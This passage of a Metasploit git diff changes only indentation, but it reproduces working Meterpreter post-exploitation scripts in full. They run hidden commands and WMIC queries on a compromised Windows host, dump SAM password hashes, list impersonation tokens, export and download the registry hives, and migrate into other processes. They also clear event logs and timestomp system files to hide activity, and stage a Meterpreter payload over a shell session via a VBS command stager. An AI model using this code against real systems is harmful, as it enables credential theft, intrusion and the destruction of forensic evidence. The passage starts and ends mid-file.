Machine" + vmout << "This is a Sun VirtualBox virtual Machine\n\n" + elsif v2.data.downcase =~ /xen/ + print_status "\tThis is a Xen virtual Machine" + vmout << "This is a Xen virtual Machine\n\n" + elsif v2.data.downcase =~ /virtual hd/ + print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" + vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" + end + rescue::Exception => e + end + end + vmout end #------------------------------------------------------------------------------- # Function for running a list a commands stored in a array, return string def list_exec(cmdlst) - print_status("Running Command List ...") - i = 0 - a =[] - @client.response_timeout=120 - cmdlst.each do |cmd| - if i < 10 - a.push(::Thread.new { - r,cmdout='',"" - print_status "\trunning command #{cmd}" - r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - cmdout << d - file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) - end - cmdout = "" - r.channel.close - r.close - }) - i += 1 + print_status("Running Command List ...") + i = 0 + a =[] + @client.response_timeout=120 + cmdlst.each do |cmd| + if i < 10 + a.push(::Thread.new { + r,cmdout='',"" + print_status "\trunning command #{cmd}" + r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + cmdout << d + file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) + end + cmdout = "" + r.channel.close + r.close + }) + i += 1 - else - sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end + else + sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end - a.delete_if {|x| not x.alive?} while not a.empty? + a.delete_if {|x| not x.alive?} while not a.empty? end #------------------------------------------------------------------------------- # Function for running a list of WMIC commands stored in a array, returns string def wmicexec(wmiccmds= nil) - print_status("Running WMIC Commands ....") - i, a = 0, [] - @client.response_timeout=120 + print_status("Running WMIC Commands ....") + i, a = 0, [] + @client.response_timeout=120 - begin - tmp = @client.fs.file.expand_path("%TEMP%") + begin + tmp = @client.fs.file.expand_path("%TEMP%") - wmiccmds.each do |wmi| - if i < 10 - a.push(::Thread.new { - tmpout = '' - wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" - print_status "\trunning command wmic #{wmi}" - flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" - r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) - sleep(2) - #Making sure that WMIC finishes before executing next WMIC command - prog2check = "wmic.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - # Read output of WMIC - wmioutfile = @client.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - # Create file with output of command - filewrt(flname,tmpout) - # Delete created file on disk - begin - @client.fs.file.rm(wmicfl) - rescue - end + wmiccmds.each do |wmi| + if i < 10 + a.push(::Thread.new { + tmpout = '' + wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" + print_status "\trunning command wmic #{wmi}" + flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" + r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) + sleep(2) + #Making sure that WMIC finishes before executing next WMIC command + prog2check = "wmic.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + # Read output of WMIC + wmioutfile = @client.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + # Create file with output of command + filewrt(flname,tmpout) + # Delete created file on disk + begin + @client.fs.file.rm(wmicfl) + rescue + end - }) - i += 1 - else - sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? + }) + i += 1 + else + sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for getting the NTLM and LANMAN hashes out of a system def gethash() - print_status("Dumping password hashes...") - begin - hash = '' - @client.core.use("priv") - select(nil, nil, nil, 3) - hashes = @client.priv.sam_hashes - hashes.each do |h| - hash << h.to_s+"\n" - end - hash << "\n\n\n" - print_status("Hashes Dumped") - rescue ::Exception => e - print_status("\tError dumping hashes: #{e.class} #{e}") - print_status("\tPayload may be running with insuficient privileges!") - end - flname = "#{@logfol}/hashdump.txt" - file_local_write(flname,hash) + print_status("Dumping password hashes...") + begin + hash = '' + @client.core.use("priv") + select(nil, nil, nil, 3) + hashes = @client.priv.sam_hashes + hashes.each do |h| + hash << h.to_s+"\n" + end + hash << "\n\n\n" + print_status("Hashes Dumped") + rescue ::Exception => e + print_status("\tError dumping hashes: #{e.class} #{e}") + print_status("\tPayload may be running with insuficient privileges!") + end + flname = "#{@logfol}/hashdump.txt" + file_local_write(flname,hash) end #------------------------------------------------------------------------------- #Function that uses the incognito features to list tokens on the system that can be used def listtokens() - begin - print_status("Getting Tokens...") - dt = '' - @client.core.use("incognito") - i = 0 - dt << "****************************\n" - dt << " List of Available Tokens\n" - dt << "****************************\n\n" - while i < 2 - tokens = @client.incognito.incognito_list_tokens(i) - if i == 0 - tType = "User" - else - tType = "Group" - end - dt << "#{tType} Delegation Tokens Available \n" - dt << "======================================== \n" + begin + print_status("Getting Tokens...") + dt = '' + @client.core.use("incognito") + i = 0 + dt << "****************************\n" + dt << " List of Available Tokens\n" + dt << "****************************\n\n" + while i < 2 + tokens = @client.incognito.incognito_list_tokens(i) + if i == 0 + tType = "User" + else + tType = "Group" + end + dt << "#{tType} Delegation Tokens Available \n" + dt << "======================================== \n" - tokens['delegation'].each_line{ |string| - dt << string + "\n" - } + tokens['delegation'].each_line{ |string| + dt << string + "\n" + } - dt << "\n" - dt << "#{tType} Impersonation Tokens Available \n" - dt << "======================================== \n" + dt << "\n" + dt << "#{tType} Impersonation Tokens Available \n" + dt << "======================================== \n" - tokens['impersonation'].each_line{ |string| - dt << string + "\n" - } - i += 1 - break if i == 2 - end - print_status("All tokens have been processed") - rescue ::Exception => e - print_status("Error Getting Tokens: #{e.class} #{e}") - end - file_local_write("#{@logfol}/tokens.txt",dt) + tokens['impersonation'].each_line{ |string| + dt << string + "\n" + } + i += 1 + break if i == 2 + end + print_status("All tokens have been processed") + rescue ::Exception => e + print_status("Error Getting Tokens: #{e.class} #{e}") + end + file_local_write("#{@logfol}/tokens.txt",dt) end #------------------------------------------------------------------------------- # Function for clearing all event logs def clrevtlgs() - evtlogs = [ - 'security', - 'system', - 'application', - 'directory service', - 'dns server', - 'file replication service' - ] - print_status("Clearing Event Logs, this will leave and event 517") - begin - evtlogs.each do |evl| - print_status("\tClearing the #{evl} Event Log") - log = @client.sys.eventlog.open(evl) - log.clear - file_local_write(@dest,"Cleared the #{evl} Event Log") - end - print_status("All Event Logs have been cleared") - rescue ::Exception => e - print_status("Error clearing Event Log: #{e.class} #{e}") + evtlogs = [ + 'security', + 'system', + 'application', + 'directory service', + 'dns server', + 'file replication service' + ] + print_status("Clearing Event Logs, this will leave and event 517") + begin + evtlogs.each do |evl| + print_status("\tClearing the #{evl} Event Log") + log = @client.sys.eventlog.open(evl) + log.clear + file_local_write(@dest,"Cleared the #{evl} Event Log") + end + print_status("All Event Logs have been cleared") + rescue ::Exception => e + print_status("Error clearing Event Log: #{e.class} #{e}") - end + end end #------------------------------------------------------------------------------- # Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array # The files have to be in %WinDir%\System32 folder. def chmace(cmds) - windir = '' - print_status("Changing Access Time, Modified Time and Created Time of Files Used") - windir = @client.fs.file.expand_path("%WinDir%") - cmds.each do |c| - begin - @client.core.use("priv") - filetostomp = windir + "\\system32\\"+ c - fl2clone = windir + "\\system32\\chkdsk.exe" - print_status("\tChanging file MACE attributes on #{filetostomp}") - @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) - file_local_write(@dest,"Changed MACE of #{filetostomp}") - rescue ::Exception => e - print_status("Error changing MACE: #{e.class} #{e}") - end - end + windir = '' + print_status("Changing Access Time, Modified Time and Created Time of Files Used") + windir = @client.fs.file.expand_path("%WinDir%") + cmds.each do |c| + begin + @client.core.use("priv") + filetostomp = windir + "\\system32\\"+ c + fl2clone = windir + "\\system32\\chkdsk.exe" + print_status("\tChanging file MACE attributes on #{filetostomp}") + @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) + file_local_write(@dest,"Changed MACE of #{filetostomp}") + rescue ::Exception => e + print_status("Error changing MACE: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- #Dumping and Downloading the Registry of the target machine def regdump(pathoflogs,filename) - host,port = @client.session_host, @client.session_port - #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress - garbage = '' - hives = %w{HKCU HKLM HKCC HKCR HKU} - windir = @client.fs.file.expand_path("%WinDir%") - print_status('Dumping and Downloading the Registry') - hives.each do |hive| - begin - print_status("\tExporting #{hive}") - r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close - print_status("\tCompressing #{hive} into cab file for faster download") - r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close + host,port = @client.session_host, @client.session_port + #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress + garbage = '' + hives = %w{HKCU HKLM HKCC HKCR HKU} + windir = @client.fs.file.expand_path("%WinDir%") + print_status('Dumping and Downloading the Registry') + hives.each do |hive| + begin + print_status("\tExporting #{hive}") + r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close + print_status("\tCompressing #{hive} into cab file for faster download") + r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close - rescue ::Exception => e - print_status("Error dumping Registry Hives #{e.class} #{e}") - end - end - #Downloading compressed registry Hives - hives.each do |hive| - begin - print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") - @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") - file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") - sleep(5) - rescue ::Exception => e - print_status("Error Downloading Registry Hives #{e.class} #{e}") - end - end - #Deleting left over files - print_status("\tDeleting left over files") - @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) + rescue ::Exception => e + print_status("Error dumping Registry Hives #{e.class} #{e}") + end + end + #Downloading compressed registry Hives + hives.each do |hive| + begin + print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") + @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") + file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") + sleep(5) + rescue ::Exception => e + print_status("Error Downloading Registry Hives #{e.class} #{e}") + end + end + #Deleting left over files + print_status("\tDeleting left over files") + @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) end #------------------------------------------------------------------------------- # Function that will call 2 other Functions to cover all tracks def covertracks(cmdstomp) - clrevtlgs() - info = @client.sys.config.sysinfo - trgtos = info['OS'] - if trgtos =~ /(Windows 2000)/ - chmace(cmdstomp - nonwin2kcmd) - else - chmace(cmdstomp) - end + clrevtlgs() + info = @client.sys.config.sysinfo + trgtos = info['OS'] + if trgtos =~ /(Windows 2000)/ + chmace(cmdstomp - nonwin2kcmd) + else + chmace(cmdstomp) + end end #------------------------------------------------------------------------------- @@ -487,80 +487,80 @@ end # for Process Migration #--------------------------------------------------------------------------------------------------------- def launchProc(target) - print_status("Launching hidden #{target}...") + print_status("Launching hidden #{target}...") - # Set the vars; these can of course be modified if need be - cmd_exec = target - cmd_args = nil - hidden = true - channelized = nil - use_thread_token = false + # Set the vars; these can of course be modified if need be + cmd_exec = target + cmd_args = nil + hidden = true + channelized = nil + use_thread_token = false - # Launch new process - newproc = @client.sys.process.execute(cmd_exec, cmd_args, - 'Channelized' => channelized, - 'Hidden' => hidden, - 'InMemory' => nil, - 'UseThreadToken' => use_thread_token) + # Launch new process + newproc = @client.sys.process.execute(cmd_exec, cmd_args, + 'Channelized' => channelized, + 'Hidden' => hidden, + 'InMemory' => nil, + 'UseThreadToken' => use_thread_token) - print_status("Process #{newproc.pid} created.") + print_status("Process #{newproc.pid} created.") - return newproc + return newproc end #------------------------------------------------------------------------------- def migrateToProc(newproc) - # Grab the current pid info - server = @client.sys.process.open - print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") + # Grab the current pid info + server = @client.sys.process.open + print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") - # Save the old process info so we can kill it after migration. - oldproc = server.pid + # Save the old process info so we can kill it after migration. + oldproc = server.pid - # Do the migration - @client.core.migrate(newproc.pid.to_i) + # Do the migration + @client.core.migrate(newproc.pid.to_i) - print_status("Migration completed successfully.") + print_status("Migration completed successfully.") - # Grab new process info - server = @client.sys.process.open + # Grab new process info + server = @client.sys.process.open - print_status("New server process: #{server.name} (#{server.pid})") + print_status("New server process: #{server.name} (#{server.pid})") - return oldproc + return oldproc end #------------------------------------------------------------------------------- def killApp(procpid) - @client.sys.process.kill(procpid) - print_status("Old process #{procpid} killed.") + @client.sys.process.kill(procpid) + print_status("Old process #{procpid} killed.") end #--------------------------------------------------------------------------------------------------------- # Function to execute process migration def migrate() - target = 'cmd.exe' - newProcPid = launchProc(target) - oldProc = migrateToProc(newProcPid) - #killApp(oldProc) - #Dangerous depending on the service exploited + target = 'cmd.exe' + newProcPid = launchProc(target) + oldProc = migrateToProc(newProcPid) + #killApp(oldProc) + #Dangerous depending on the service exploited end #--------------------------------------------------------------------------------------------------------- #Function for Checking for UAC def uaccheck() - uac = is_uac_enabled? - if uac - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end + uac = is_uac_enabled? + if uac + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end - return uac + return uac end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -568,7 +568,7 @@ unsupported if client.platform !~ /win32|win64/i # Execute Functions selected if (mg != nil) - migrate() + migrate() end # Main part of script, it will run all function minus the ones # that will chance the MACE and Clear the Event log. @@ -590,65 +590,65 @@ trgtos = info['OS'] uac = uaccheck() # Run Commands according to OS some commands are not available on all versions of Windows if trgtos =~ /(Windows XP)/ - if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ - commands.delete('netstat -vb') - commands.delete('netsh firewall show config') - end - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ + commands.delete('netstat -vb') + commands.delete('netsh firewall show config') + end + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows .NET)/ - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows 2008)/ - list_exec(commands + win2k8cmd) - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") - else - gethash() - end + list_exec(commands + win2k8cmd) + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") + else + gethash() + end elsif trgtos =~ /Windows (Vista|7)/ - list_exec(commands + vstwlancmd) - # Check for UAC and save results - if uac - file_local_write(@dest,"UAC is Enabled") - else - file_local_write(@dest,"UAC is Disabled") - end - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") - else - gethash() - end + list_exec(commands + vstwlancmd) + # Check for UAC and save results + if uac + file_local_write(@dest,"UAC is Enabled") + else + file_local_write(@dest,"UAC is Disabled") + end + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") + else + gethash() + end elsif trgtos =~ /(Windows 2000)/ - list_exec(commands - nonwin2kcmd) - gethash() + list_exec(commands - nonwin2kcmd) + gethash() end listtokens() if (rd != nil) - if not uac - regdump(logs,filenameinfo) - else - print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") - end + if not uac + regdump(logs,filenameinfo) + else + print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") + end end if (cm != nil) - if trgtos =~ /(Windows 2000)/ - covertracks(cmdstomp - nowin2kexe) - else - if not uac - covertracks(cmdstomp) - else - print_status("UAC is enabled, Logs could not be cleared under current privileges") - end - end + if trgtos =~ /(Windows 2000)/ + covertracks(cmdstomp - nowin2kexe) + else + if not uac + covertracks(cmdstomp) + else + print_status("UAC is enabled, Logs could not be cleared under current privileges") + end + end end print_status("Done!") diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index d01bc01d57..0e038478a0 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -6,10 +6,10 @@ session = client wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], - "-f" => [ true,"File where to saved output of command."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], + "-f" => [ true,"File where to saved output of command."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -19,112 +19,112 @@ outfile = nil ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmiccmds= nil) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.fs.file.expand_path("%TEMP%") - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - wmiccmds.each do |wmi| - print_status "running command wmic #{wmi}" - print_line wmicfl - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + tmpout = '' + session.response_timeout=120 + begin + tmp = session.fs.file.expand_path("%TEMP%") + wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) + wmiccmds.each do |wmi| + print_status "running command wmic #{wmi}" + print_line wmicfl + r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) + sleep(2) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end def usage - print_line("Windows WMIC Command Execution Meterpreter Script ") - print_line @@exec_opts.usage - print_line("USAGE:") - print_line("run wmic -c \"WMIC Command Argument\"\n") - print_line("NOTE:") - print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") - print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") - print_line("Example:") - print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") - raise Rex::Script::Completed + print_line("Windows WMIC Command Execution Meterpreter Script ") + print_line @@exec_opts.usage + print_line("USAGE:") + print_line("run wmic -c \"WMIC Command Argument\"\n") + print_line("NOTE:") + print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") + print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") + print_line("Example:") + print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-c" + case opt + when "-c" - commands.concat(val.split("/")) + commands.concat(val.split("/")) - when "-s" + when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - commands << line.chomp - end - end - when "-f" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + commands << line.chomp + end + end + when "-f" - outfile = val - when "-h" - usage - else - print_error "Unknown option: #{opt}" - usage - end + outfile = val + when "-h" + usage + else + print_error "Unknown option: #{opt}" + usage + end } if args.length == 0 - usage + usage end unsupported if client.platform !~ /win32|win64/i if outfile == nil - print_status wmicexec(session,commands) + print_status wmicexec(session,commands) else - print_status("Saving output of WMIC to #{outfile}") - filewrt(outfile, wmicexec(session,commands)) + print_status("Saving output of WMIC to #{outfile}") + filewrt(outfile, wmicexec(session,commands)) end diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index b7b3c11b55..5738d03a2b 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -13,8 +13,8 @@ # Show the progress of the upload # def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + done = (sent.to_f / total.to_f) * 100 + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) end @@ -23,7 +23,7 @@ raise RuntimeError, "Selected session is not a command shell session!" if (sessi # Check for required datastore options if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT']) - raise RuntimeError, "You must set LPORT and LHOST for this script to work." + raise RuntimeError, "You must set LPORT and LHOST for this script to work." end @@ -51,105 +51,105 @@ buf = payload.generate_simple('OptionStr' => options) aborted = false begin - mh = nil - if (use_handler) - mh = framework.modules.create("exploit/multi/handler") - mh.datastore['LPORT'] = lport - mh.datastore['LHOST'] = lhost - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['ExitOnSession'] = false - mh.datastore['EXITFUNC'] = 'process' - mh.exploit_simple( - 'LocalInput' => session.user_input, - 'LocalOutput' => session.user_output, - 'Payload' => payload_name, - 'RunAsJob' => true) - # It takes a little time for the resources to get set up, so sleep for - # a bit to make sure the exploit is fully working. Without this, - # mod.get_resource doesn't exist when we need it. - select(nil, nil, nil, 0.5) - if framework.jobs[mh.job_id.to_s].nil? - raise RuntimeError, "Failed to start multi/handler - is it already running?" - end - end + mh = nil + if (use_handler) + mh = framework.modules.create("exploit/multi/handler") + mh.datastore['LPORT'] = lport + mh.datastore['LHOST'] = lhost + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['ExitOnSession'] = false + mh.datastore['EXITFUNC'] = 'process' + mh.exploit_simple( + 'LocalInput' => session.user_input, + 'LocalOutput' => session.user_output, + 'Payload' => payload_name, + 'RunAsJob' => true) + # It takes a little time for the resources to get set up, so sleep for + # a bit to make sure the exploit is fully working. Without this, + # mod.get_resource doesn't exist when we need it. + select(nil, nil, nil, 0.5) + if framework.jobs[mh.job_id.to_s].nil? + raise RuntimeError, "Failed to start multi/handler - is it already running?" + end + end - # - # Make the payload into an exe for the CmdStager - # - lplat = [Msf::Platform::Windows] - larch = [ARCH_X86] - linemax = 1700 - if (session.exploit_datastore['LineMax']) - linemax = session.exploit_datastore['LineMax'].to_i - end - opts = { - :linemax => linemax, - :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), - #:nodelete => true # keep temp files (for debugging) - } - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) + # + # Make the payload into an exe for the CmdStager + # + lplat = [Msf::Platform::Windows] + larch = [ARCH_X86] + linemax = 1700 + if (session.exploit_datastore['LineMax']) + linemax = session.exploit_datastore['LineMax'].to_i + end + opts = { + :linemax => linemax, + :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + #:nodelete => true # keep temp files (for debugging) + } + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) - # - # Generate the stager command array - # - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - cmds = cmdstager.generate(opts) - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end + # + # Generate the stager command array + # + cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) + cmds = cmdstager.generate(opts) + if (cmds.nil? or cmds.length < 1) + print_error("The command stager could not be generated") + raise ArgumentError + end - # - # Calculate the total size - # - total_bytes = 0 - cmds.each { |cmd| total_bytes += cmd.length } + # + # Calculate the total size + # + total_bytes = 0 + cmds.each { |cmd| total_bytes += cmd.length } - # - # Run the commands one at a time - # - sent = 0 - cmds.each { |cmd| - ret = session.shell_command_token_win32(cmd) - if (not ret) - aborted = true - else - ret.strip! - if (not ret.empty?) - aborted = true - end - end - if aborted - print_error("Error: Unable to execute the following command:") - print_error(cmd.inspect) - print_error('Output: ' + ret.inspect) if ret and not ret.empty? - break - end + # + # Run the commands one at a time + # + sent = 0 + cmds.each { |cmd| + ret = session.shell_command_token_win32(cmd) + if (not ret) + aborted = true + else + ret.strip! + if (not ret.empty?) + aborted = true + end + end + if aborted + print_error("Error: Unable to execute the following command:") + print_error(cmd.inspect) + print_error('Output: ' + ret.inspect) if ret and not ret.empty? + break + end - sent += cmd.length + sent += cmd.length - progress(total_bytes, sent) - } + progress(total_bytes, sent) + } rescue ::Interrupt - # TODO: cleanup partial uploads! - aborted = true + # TODO: cleanup partial uploads! + aborted = true rescue => e - print_error("Error: #{e}") - aborted = true + print_error("Error: #{e}") + aborted = true end # # Stop the job # if (use_handler) - Thread.new do - if not aborted - # Wait up to 10 seconds for the session to come in.. - select(nil, nil, nil, 10) - end - framework.jobs.stop_job(mh.job_id) - end + Thread.new do + if not aborted + # Wait up to 10 seconds for the session to come in.. + select(nil, nil, nil, 10) + end + framework.jobs.stop_job(mh.job_id) + end end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 9f6a4d1d7e..4981482cca 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -1,9 +1,9 @@ FactoryGirl.modify do factory :mdm_module_detail do - ignore do - root { - Metasploit::Framework.root - } - end + ignore do + root { + Metasploit::Framework.root + } + end end end \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 51f8b6f399..45798cd30f 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -8,202 +8,202 @@ require 'metasploit/framework' MetasploitDataModels.require_models describe ActiveRecord::ConnectionAdapters::ConnectionPool do - def database_configurations - YAML.load_file(database_configurations_pathname) - end + def database_configurations + YAML.load_file(database_configurations_pathname) + end - def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') - end + def database_configurations_pathname + Metasploit::Framework.root.join('config', 'database.yml') + end - subject(:connection_pool) do - 